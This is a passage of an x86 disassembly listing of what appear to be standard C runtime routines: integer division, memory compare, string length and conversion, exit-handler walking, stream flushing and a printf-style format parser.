eax, 1 or ebx, ebx jnz short loc_4198A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4198D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4198D5 jb short loc_4198D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4198D6 loc_4198D5: ; CODE XREF: sub_419840+85j ; sub_419840+8Bj dec esi loc_4198D6: ; CODE XREF: sub_419840+8Dj ; sub_419840+93j xor edx, edx mov eax, esi loc_4198DA: ; CODE XREF: sub_419840+57j dec edi jnz short loc_4198E4 neg edx neg eax sbb edx, 0 loc_4198E4: ; CODE XREF: sub_419840+9Bj pop ebx pop esi pop edi retn 10h sub_419840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41993C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41993D test eax, 1 jz short loc_41991D mov cl, [esi] cmp cl, [edi] jnz short loc_41996A inc esi inc edi dec eax jz short loc_41993A loc_41991D: ; CODE XREF: sub_4198F0+20j ; sub_4198F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41996A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41996A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41991D loc_41993A: ; CODE XREF: sub_4198F0+2Bj ; sub_4198F0+84j pop edi pop esi locret_41993C: ; CODE XREF: sub_4198F0+6j retn ; --------------------------------------------------------------------------- loc_41993D: ; CODE XREF: sub_4198F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419972 repe cmpsd jz short loc_419972 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419965 cmp ch, dh jnz short loc_419965 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419965 cmp ch, dh loc_419965: ; CODE XREF: sub_4198F0+63j ; sub_4198F0+67j ... mov eax, 0 loc_41996A: ; CODE XREF: sub_4198F0+26j ; sub_4198F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198F0+55j ; sub_4198F0+59j test eax, eax jz short loc_41993A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419965 dec eax jz short loc_419999 cmp dh, ch jnz short loc_419965 dec eax jz short loc_419999 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419965 dec eax loc_419999: ; CODE XREF: sub_4198F0+8Fj ; sub_4198F0+96j pop edi pop esi retn sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_41999C proc near ; CODE XREF: sub_40E5EB+55p ; sub_415F86+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4199B3 loc_4199A9: ; CODE XREF: sub_41999C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4199A9 loc_4199B3: ; CODE XREF: sub_41999C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p ; sub_40E5EB+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419A86 mov edi, [ebp+arg_8] cmp edi, esi jz loc_419AB3 cmp dword_48A0A8, esi jnz short loc_419A0A cmp edi, esi jbe loc_419AB3 loc_4199E9: ; CODE XREF: sub_4199B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_419AB3 inc eax inc edx inc edx cmp eax, edi jb short loc_4199E9 jmp loc_419AB3 ; --------------------------------------------------------------------------- loc_419A0A: ; CODE XREF: sub_4199B9+26j mov ebx, [ebp+arg_4] mov esi, dword_424070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_48A0B8 call esi test eax, eax jnz loc_419AB2 nop call near ptr 264030Ch cmp eax, 7Ah jz short loc_419A44 loc_419A35: ; CODE XREF: sub_4199B9+CBj ; sub_4199B9+F7j mov dword_48A014, 2Ah or eax, 0FFFFFFFFh jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A44: ; CODE XREF: sub_4199B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_419A4C: ; CODE XREF: sub_4199B9+B3j mov cl, [eax] test cl, cl jz short loc_419A6E mov edx, off_4395A0 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419A63 inc eax loc_419A63: ; CODE XREF: sub_4199B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_419A4C loc_419A6E: ; CODE XREF: sub_4199B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_48A0B8 call esi test eax, eax jnz short loc_419AB3 jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_4199B9+Fj cmp dword_48A0A8, esi jnz short loc_419A99 push [ebp+arg_4] call sub_417AB0 pop ecx jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_4199B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_48A0B8 call near ptr 2620000h nop cmp eax, esi jz short loc_419A35 loc_419AB2: ; CODE XREF: sub_4199B9+6Bj dec eax loc_419AB3: ; CODE XREF: sub_4199B9+1Aj ; sub_4199B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4199B9 endp ; --------------------------------------------------------------------------- mov eax, off_43956C test eax, eax jz short loc_419AC3 call eax ; sub_417D73 loc_419AC3: ; CODE XREF: ___:00419ABFj push offset dword_426028 push offset dword_426014 call sub_419BA0 push offset dword_426010 push offset dword_426000 call sub_419BA0 add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_419B07 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp ; sub_41D4FC+3438p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AF6 endp ; =============== S U B R O U T I N E ======================================= sub_419B07 proc near ; CODE XREF: ___:00419AEDp ; sub_419AF6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_48A05C, edi jnz short loc_419B24 push [esp+4+arg_0] nop call near ptr 2770F9Dh push eax nop call near ptr 27C0C4Ch loc_419B24: ; CODE XREF: sub_419B07+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_48A058, edi mov byte_48A054, bl jnz short loc_419B78 mov eax, dword_48B69C test eax, eax jz short loc_419B67 mov ecx, dword_48B698 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419B66 loc_419B53: ; CODE XREF: sub_419B07+5Dj mov eax, [esi] test eax, eax jz short loc_419B5B call eax loc_419B5B: ; CODE XREF: sub_419B07+50j sub esi, 4 cmp esi, dword_48B69C jnb short loc_419B53 loc_419B66: ; CODE XREF: sub_419B07+4Aj pop esi loc_419B67: ; CODE XREF: sub_419B07+3Cj push offset dword_426034 push offset dword_42602C call sub_419BA0 pop ecx pop ecx loc_419B78: ; CODE XREF: sub_419B07+33j push offset dword_426040 push offset dword_426038 call sub_419BA0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_419B9E push [esp+4+arg_0] mov dword_48A05C, edi nop call near ptr 77E75CB5h loc_419B9E: ; CODE XREF: sub_419B07+85j pop edi retn sub_419B07 endp ; =============== S U B R O U T I N E ======================================= sub_419BA0 proc near ; CODE XREF: ___:00419ACDp ; ___:00419ADCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_419BA5: ; CODE XREF: sub_419BA0+16j cmp esi, [esp+4+arg_4] jnb short loc_419BB8 mov eax, [esi] test eax, eax jz short loc_419BB3 call eax loc_419BB3: ; CODE XREF: sub_419BA0+Fj add esi, 4 jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BB8: ; CODE XREF: sub_419BA0+9j pop esi retn sub_419BA0 endp ; =============== S U B R O U T I N E ======================================= sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] nop call near ptr 27B0CE8h test eax, eax jnz short loc_419BD0 nop call near ptr 264030Ch jmp short loc_419BD2 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_419BBA+Cj xor eax, eax loc_419BD2: ; CODE XREF: sub_419BBA+14j test eax, eax jz short loc_419BE1 push eax call sub_41EF44 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419BE1: ; CODE XREF: sub_419BBA+1Aj xor eax, eax retn sub_419BBA endp ; --------------------------------------------------------------------------- dd 0FA9AF532h, 0AC03B3B4h, 2063F439h, 64F6ED3Bh, 0A1h dd 89645000h, 25h, 58EC8300h, 89575653h, 0E890E865h, 2407DEEh dd 0D48AD233h, 0A02C1589h, 0C88B0048h, 0FFE181h, 0D890000h dd 48A028h, 308E1C1h, 240D89CAh, 0C10048A0h, 20A310E8h dd 330048A0h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah dd 59000000h, 0E8FC7589h, 5967h, 7D87E890h, 8CA30240h dd 0E80048B6h, 5825h, 48A060A3h, 55CEE800h, 10E80000h dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 9050A445h, 406377E8h dd 54A1E802h, 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h dd 580A6A03h, 9C75FF50h, 0DCE85656h, 90022F6Dh, 49F7E850h dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_419CDA proc near ; CODE XREF: sub_418682+16p ; ___:0041F1D5p ... arg_0 = dword ptr 4 cmp dword_48A068, 1 jnz short loc_419CE8 call sub_41F84C loc_419CE8: ; CODE XREF: sub_419CDA+7j push [esp+arg_0] call sub_41F885 push 0FFh call off_439590 pop ecx pop ecx retn sub_419CDA endp ; --------------------------------------------------------------------------- db 83h dd 48A0683Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h dd 68590000h, 0FFh, 0BF93E890h db 0A5h, 77h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D23 proc near ; CODE XREF: sub_4172AE+46p ; sub_41782A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419E2C test al, 40h jnz loc_419E2C test al, 1 jz short loc_419D5B and dword ptr [esi+4], 0 test al, 10h jz loc_419E2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419D5B: ; CODE XREF: sub_419D23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419D95 cmp esi, offset dword_43BCD8 jz short loc_419D83 cmp esi, offset dword_43BCF8 jnz short loc_419D8E loc_419D83: ; CODE XREF: sub_419D23+56j push ebx call sub_41FA1C test eax, eax pop ecx jnz short loc_419D95 loc_419D8E: ; CODE XREF: sub_419D23+5Ej push esi call sub_41F9D8 pop ecx loc_419D95: ; CODE XREF: sub_419D23+4Ej ; sub_419D23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419E02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419DC5 push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419DF8 ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419D23+90j cmp ebx, 0FFFFFFFFh jz short loc_419DE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_48B340[eax*4] lea eax, [eax+ecx*8] jmp short loc_419DE5 ; --------------------------------------------------------------------------- loc_419DE0: ; CODE XREF: sub_419D23+A5j mov eax, offset dword_43BC20 loc_419DE5: ; CODE XREF: sub_419D23+BBj test byte ptr [eax+4], 20h jz short loc_419DF8 push 2 push 0 push ebx call sub_41E517 add esp, 0Ch loc_419DF8: ; CODE XREF: sub_419D23+A0j ; sub_419D23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419E16 ; --------------------------------------------------------------------------- loc_419E02: ; CODE XREF: sub_419D23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax loc_419E16: ; CODE XREF: sub_419D23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419E22 or dword ptr [esi+0Ch], 20h jmp short loc_419E31 ; --------------------------------------------------------------------------- loc_419E22: ; CODE XREF: sub_419D23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419E34 ; --------------------------------------------------------------------------- loc_419E2C: ; CODE XREF: sub_419D23+10j ; sub_419D23+18j ... or al, 20h mov [esi+0Ch], eax loc_419E31: ; CODE XREF: sub_419D23+FDj or eax, 0FFFFFFFFh loc_419E34: ; CODE XREF: sub_419D23+107j pop esi pop ebx pop ebp retn sub_419D23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; CODE XREF: sub_4172AE+29p ; sub_41782A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A551 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419E6C ; --------------------------------------------------------------------------- loc_419E64: ; CODE XREF: sub_419E38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419E6C: ; CODE XREF: sub_419E38+2Aj cmp [ebp+var_14], edx jl loc_41A551 cmp bl, 20h jl short loc_419E8D cmp bl, 78h jg short loc_419E8D movsx eax, bl mov al, [eax+42469Ch] and eax, 0Fh jmp short loc_419E8F ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419E38+40j ; sub_419E38+45j xor eax, eax loc_419E8F: ; CODE XREF: sub_419E38+53j movsx eax, byte_4246BC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A540 ; default jmp off_41A559[eax*4] ; switch jump loc_419EAD: ; DATA XREF: ___:off_41A559o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EC8: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 2 sub eax, 20h jz short loc_419F0B sub eax, 3 jz short loc_419F02 sub eax, 8 jz short loc_419EF9 dec eax dec eax jz short loc_419EF0 sub eax, 3 jnz loc_41A540 ; default or [ebp+var_4], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF0: ; CODE XREF: sub_419E38+A4j or [ebp+var_4], 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419E38+A0j or [ebp+var_4], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F02: ; CODE XREF: sub_419E38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F0B: ; CODE XREF: sub_419E38+96j or [ebp+var_4], 2 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F14: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 3 jnz short loc_419F3C lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A540 ; default or [ebp+var_4], 4 neg eax loc_419F34: ; CODE XREF: sub_419E38+111j mov [ebp+var_20], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F3C: ; CODE XREF: sub_419E38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F4B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov [ebp+var_10], edx ; jumptable 00419EA6 case 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F53: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 5 jnz short loc_419F76 lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A540 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F76: ; CODE XREF: sub_419E38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 49h ; jumptable 00419EA6 case 6 jz short loc_419FBB cmp bl, 68h jz short loc_419FB2 cmp bl, 6Ch jz short loc_419FA9 cmp bl, 77h jnz loc_41A540 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419E38+15Dj or [ebp+var_4], 10h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FB2: ; CODE XREF: sub_419E38+158j or [ebp+var_4], 20h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FBB: ; CODE XREF: sub_419E38+153j cmp byte ptr [edi], 36h jnz short loc_419FD4 cmp byte ptr [edi+1], 34h jnz short loc_419FD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FD4: ; CODE XREF: sub_419E38+186j ; sub_419E38+18Cj mov [ebp+var_30], edx loc_419FD7: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov ecx, off_4395A0 ; jumptable 00419EA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41A003 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41A003: ; CODE XREF: sub_419E38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 add esp, 0Ch jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A01B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 7 cmp eax, 67h jg loc_41A243 cmp eax, 65h jge loc_41A0C6 cmp eax, 58h jg loc_41A124 jz loc_41A2B7 sub eax, 43h jz loc_41A0E7 dec eax dec eax jz short loc_41A0BC dec eax dec eax jz short loc_41A0BC sub eax, 0Ch jnz loc_41A442 test word ptr [ebp+var_4], 830h jnz short loc_41A065 or byte ptr [ebp+var_4+1], 8 loc_41A065: ; CODE XREF: sub_419E38+227j ; sub_419E38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41A072 mov esi, 7FFFFFFFh loc_41A072: ; CODE XREF: sub_419E38+233j lea eax, [ebp+arg_8] push eax call sub_41A617 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41A28B test ecx, ecx jnz short loc_41A09A mov ecx, off_43959C mov [ebp+var_8], ecx loc_41A09A: ; CODE XREF: sub_419E38+257j mov [ebp+var_24], 1 mov eax, ecx loc_41A0A3: ; CODE XREF: sub_419E38+282j mov edx, esi dec esi test edx, edx jz loc_41A282 cmp word ptr [eax], 0 jz loc_41A282 inc eax inc eax jmp short loc_41A0A3 ; --------------------------------------------------------------------------- loc_41A0BC: ; CODE XREF: sub_419E38+212j ; sub_419E38+216j mov [ebp+var_34], 1 add bl, 20h loc_41A0C6: ; CODE XREF: sub_419E38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41A1AA mov [ebp+var_10], 6 jmp loc_41A1B8 ; --------------------------------------------------------------------------- loc_41A0E7: ; CODE XREF: sub_419E38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41A0F3 or byte ptr [ebp+var_4+1], 8 loc_41A0F3: ; CODE XREF: sub_419E38+2B5j ; sub_419E38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41A13A call sub_41A634 push eax lea eax, [ebp+var_248] push eax call sub_41FAFB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41A14D mov [ebp+var_28], 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A124: ; CODE XREF: sub_419E38+1FBj sub eax, 5Ah jz short loc_41A15B sub eax, 9 jz short loc_41A0F3 dec eax jz loc_41A31D jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419E38+2C5j call sub_41A617 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41A14D: ; CODE XREF: sub_419E38+2E1j ; sub_419E38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419E38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx jz short loc_41A19C mov ecx, [eax+4] test ecx, ecx jz short loc_41A19C test byte ptr [ebp+var_4+1], 8 jz short loc_41A18D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_419E38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A19C: ; CODE XREF: sub_419E38+32Fj ; sub_419E38+336j mov eax, off_439598 mov [ebp+var_8], eax push eax jmp loc_41A238 ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_419E38+29Dj jnz short loc_41A1B8 cmp bl, 67h jnz short loc_41A1B8 mov [ebp+var_10], 1 loc_41A1B8: ; CODE XREF: sub_419E38+2AAj ; sub_419E38:loc_41A1AAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43B900 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41A20A cmp [ebp+var_10], 0 jnz short loc_41A20A lea eax, [ebp+var_248] push eax call off_43B90C pop ecx loc_41A20A: ; CODE XREF: sub_419E38+3BCj ; sub_419E38+3C2j cmp bl, 67h jnz short loc_41A221 test esi, esi jnz short loc_41A221 lea eax, [ebp+var_248] push eax call off_43B904 pop ecx loc_41A221: ; CODE XREF: sub_419E38+3D5j ; sub_419E38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41A237 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41A237: ; CODE XREF: sub_419E38+3F0j push edi loc_41A238: ; CODE XREF: sub_419E38+36Dj call sub_417AB0 pop ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A243: ; CODE XREF: sub_419E38+1E9j sub eax, 69h jz loc_41A31D sub eax, 5 jz loc_41A2F3 dec eax jz loc_41A2E0 dec eax jz short loc_41A2B0 sub eax, 3 jz loc_41A065 dec eax dec eax jz loc_41A321 sub eax, 3 jnz loc_41A442 mov [ebp+var_2C], 27h jmp short loc_41A2BE ; --------------------------------------------------------------------------- loc_41A282: ; CODE XREF: sub_419E38+270j ; sub_419E38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A28B: ; CODE XREF: sub_419E38+24Fj test ecx, ecx jnz short loc_41A298 mov ecx, off_439598 mov [ebp+var_8], ecx loc_41A298: ; CODE XREF: sub_419E38+455j mov eax, ecx loc_41A29A: ; CODE XREF: sub_419E38+46Fj mov edx, esi dec esi test edx, edx jz short loc_41A2A9 cmp byte ptr [eax], 0 jz short loc_41A2A9 inc eax jmp short loc_41A29A ; --------------------------------------------------------------------------- loc_41A2A9: ; CODE XREF: sub_419E38+467j ; sub_419E38+46Cj sub eax, ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A2B0: ; CODE XREF: sub_419E38+425j mov [ebp+var_10], 8 loc_41A2B7: ; CODE XREF: sub_419E38+201j mov [ebp+var_2C], 7 loc_41A2BE: ; CODE XREF: sub_419E38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41A328 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2E0: ; CODE XREF: sub_419E38+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41A328 or byte ptr [ebp+var_4+1], 2 jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2F3: ; CODE XREF: sub_419E38+417j lea eax, [ebp+arg_8] push eax call sub_41A617 test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41A30C mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41A311 ; --------------------------------------------------------------------------- loc_41A30C: ; CODE XREF: sub_419E38+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41A311: ; CODE XREF: sub_419E38+4D2j mov [ebp+var_28], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_419E38+2F7j ; sub_419E38+40Ej or [ebp+var_4], 40h loc_41A321: ; CODE XREF: sub_419E38+432j mov [ebp+var_C], 0Ah loc_41A328: ; CODE XREF: sub_419E38+491j ; sub_419E38+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41A33A lea eax, [ebp+arg_8] push eax call sub_41A624 pop ecx jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A33A: ; CODE XREF: sub_419E38+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41A361 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A356 call sub_41A617 pop ecx movsx eax, ax loc_41A353: ; CODE XREF: sub_419E38+527j ; sub_419E38+539j cdq jmp short loc_41A37B ; --------------------------------------------------------------------------- loc_41A356: ; CODE XREF: sub_419E38+510j call sub_41A617 pop ecx movzx eax, ax jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A361: ; CODE XREF: sub_419E38+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41A373 call sub_41A617 pop ecx jmp short loc_41A353 ; --------------------------------------------------------------------------- loc_41A373: ; CODE XREF: sub_419E38+531j call sub_41A617 pop ecx xor edx, edx loc_41A37B: ; CODE XREF: sub_419E38+500j ; sub_419E38+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41A39C test edx, edx jg short loc_41A39C jl short loc_41A38B test eax, eax jnb short loc_41A39C loc_41A38B: ; CODE XREF: sub_419E38+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41A3A0 ; --------------------------------------------------------------------------- loc_41A39C: ; CODE XREF: sub_419E38+547j ; sub_419E38+54Bj ... mov esi, eax mov edi, edx loc_41A3A0: ; CODE XREF: sub_419E38+562j test 